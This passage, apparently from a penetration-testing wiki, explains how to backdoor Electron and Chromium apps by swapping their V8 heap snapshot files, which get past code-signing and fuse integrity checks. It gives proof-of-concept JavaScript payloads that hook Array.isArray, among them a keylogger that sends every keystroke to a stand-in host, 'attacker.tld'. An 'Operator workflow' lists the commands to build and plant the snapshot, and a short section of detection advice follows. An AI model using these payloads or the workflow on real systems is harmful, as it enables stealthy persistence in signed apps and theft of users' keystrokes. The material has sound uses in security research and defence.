    599 Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.<sup>[[2]](#references)</sup>
    600 
    601 Key points
    602 - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.<sup>[[3]](#references)[[4]](#references)</sup>
    603 - Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
    604 - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
    605 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
    606 
    607 Generating a malicious snapshot without building Chromium
    608 - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.<sup>[[5]](#references)[[6]](#references)</sup>
    609 
    610 Example minimal payload (prove execution by forcing a crash)
    611 ```javascript
    612 // Build snapshot from this payload
    613 // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
    614 // Replace the application’s v8_context_snapshot.bin with the generated file
    615 
    616 const orig = Array.isArray;
    617 
    618 // Use Array.isArray as a ubiquitous gadget
    619 Array.isArray = function () {
    620   // Executed whenever the app calls Array.isArray
    621   throw new Error("testing isArray gadget");
    622 };
    623 ```
    624 
    625 Isolate-aware payload routing (run different code in main vs. renderer)
    626 - Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate.
    627 - Browser/renderer detection: Browser-only globals like alert are available when running in a document context.
    628 
    629 Example gadget that probes main-process Node capabilities once
    630 ```javascript
    631 const orig = Array.isArray;
    632 
    633 Array.isArray = function() {
    634   // Defer until we land in main (has Node process)
    635   try {
    636     if (!process || !process.pid) {
    637       return orig(...arguments);
    638     }
    639   } catch (_) {
    640     return orig(...arguments);
    641   }
    642 
    643   // Run once
    644   if (!globalThis._invoke_lock) {
    645     globalThis._invoke_lock = true;
    646     console.log('[payload] isArray hook started ...');
    647 
    648     // Capability probing in main
    649     console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
    650     console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
    651     console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
    652     console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
    653     process.exit(0);
    654   }
    655   return orig(...arguments);
    656 };
    657 ```
    658 
    659 Renderer/browser-context data theft PoC (e.g., Slack)
    660 ```javascript
    661 const orig = Array.isArray;
    662 Array.isArray = function() {
    663   // Wait for a browser context
    664   try {
    665     if (!alert) {
    666       return orig(...arguments);
    667     }
    668   } catch (_) {
    669     return orig(...arguments);
    670   }
    671 
    672   if (!globalThis._invoke_lock) {
    673     globalThis._invoke_lock = true;
    674     setInterval(() => {
    675       window.onkeydown = (e) => {
    676         fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
    677       }
    678     }, 1000);
    679   }
    680   return orig(...arguments);
    681 };
    682 ```
    683 
    684 Operator workflow
    685 1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
    686 2) Build the snapshot without Chromium sources:
    687    - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
    688 3) Overwrite the target application’s snapshot file(s):
    689    - v8_context_snapshot.bin (always used)
    690    - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
    691 4) Launch the application; the gadget executes whenever the chosen builtin is used.
    692 
    693 Notes and considerations
    694 - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
    695 - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
    696 - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.<sup>[[9]](#references)[[10]](#references)</sup>
    697 
    698 Detection and mitigations
    699 - Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
    700 - Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
    701 - Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
    702 
    703 ## References
    704 
    705 - [1] [JS-Tap v3: Endpoint Post-Exploitation With JavaScript Implants](https://trustedsec.com/blog/js-tap-v3-endpoint-post-exploitation-with-javascript-implants)
    706 - [2] [Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
    707 - [3] [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
    708 - [4] [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
    709 - [5] [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
    710 - [6] [electron/mksnapshot](https://github.com/electron/mksnapshot)
    711 - [7] [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
    712 - [8] [Loki C2](https://github.com/boku7/Loki/)
    713 - [9] [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
    714 - [10] [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
    715 - [11] [Phishing and credential harvesting in Electron applications](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
    716 - [12] [Facebook Messenger Desktop App Arbitrary File Read](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
    717 - [13] [Electron: Abusing the lack of context isolation - CureCon (en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
    718 - [14] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
    719 - [15] [awesome-electronjs-hacking - a curated list of resources about Electron.js (in)security](https://github.com/doyensec/awesome-electronjs-hacking)
    720 - [16] [Electron APIs Misuse: An Attacker's First Choice](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
    721 - [17] [Electron nodeIntegration RCE payloads](https://7as.es/electron/nodeIntegration_rce.txt)
    722 - [18] [1-click RCE in Electron Applications](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)
    723 - [19] [The dangers of Electron's shell.openExternal() - many paths to remote code execution](https://benjamin-altpeter.de/shell-openexternal-dangers/)
    724 - [20] [Allow arbitrary URLs, expect arbitrary code execution](https://positive.security/blog/url-open-rce#windows-10-19042)
    725 - [21] [Achieving RCE in famous Japanese chat tool with an obsolete Electron feature](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)
    726 - [22] [Discord Desktop - Remote Code Execution](https://blog.electrovolt.io/posts/discord-rce/)
    727 - [23] [Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)](https://blog.electrovolt.io/posts/vscode-rce/)
    728 - [24] [One-Click GitHub Token Theft via VS Code Webview Keyboard Event Injection](https://blog.ammaraskar.com/github-token-stealing)
    729 - [25] [VS Code issue #319593: Webviews can trigger arbitrary keyboard shortcuts in the main workbench](https://github.com/microsoft/vscode/issues/319593)
    730 - [26] [VS Code PR #319705: confirm notebook opening and stop accepting caller-provided installExtension context](https://github.com/microsoft/vscode/pull/319705)
    731 - [27] [VS Code PR #319813: block programmatic webview keypress/click re-dispatch in notebook webviews](https://github.com/microsoft/vscode/pull/319813)
    732 - [28] [VS Code 1.89 / local workspace extensions](https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions)
    733 - [29] [APPSEC Cali 2018 - MarkDoom: How I Hacked Every Major IDE in 2 Weeks](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
    734 - [30] [ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
    735 - [31] [Electron Security](https://www.electronjs.org/docs/latest/tutorial/security)
    736 - [32] [Electron BrowserWindow webPreferences](https://www.electronjs.org/docs/latest/api/browser-window#new-browserwindowoptions)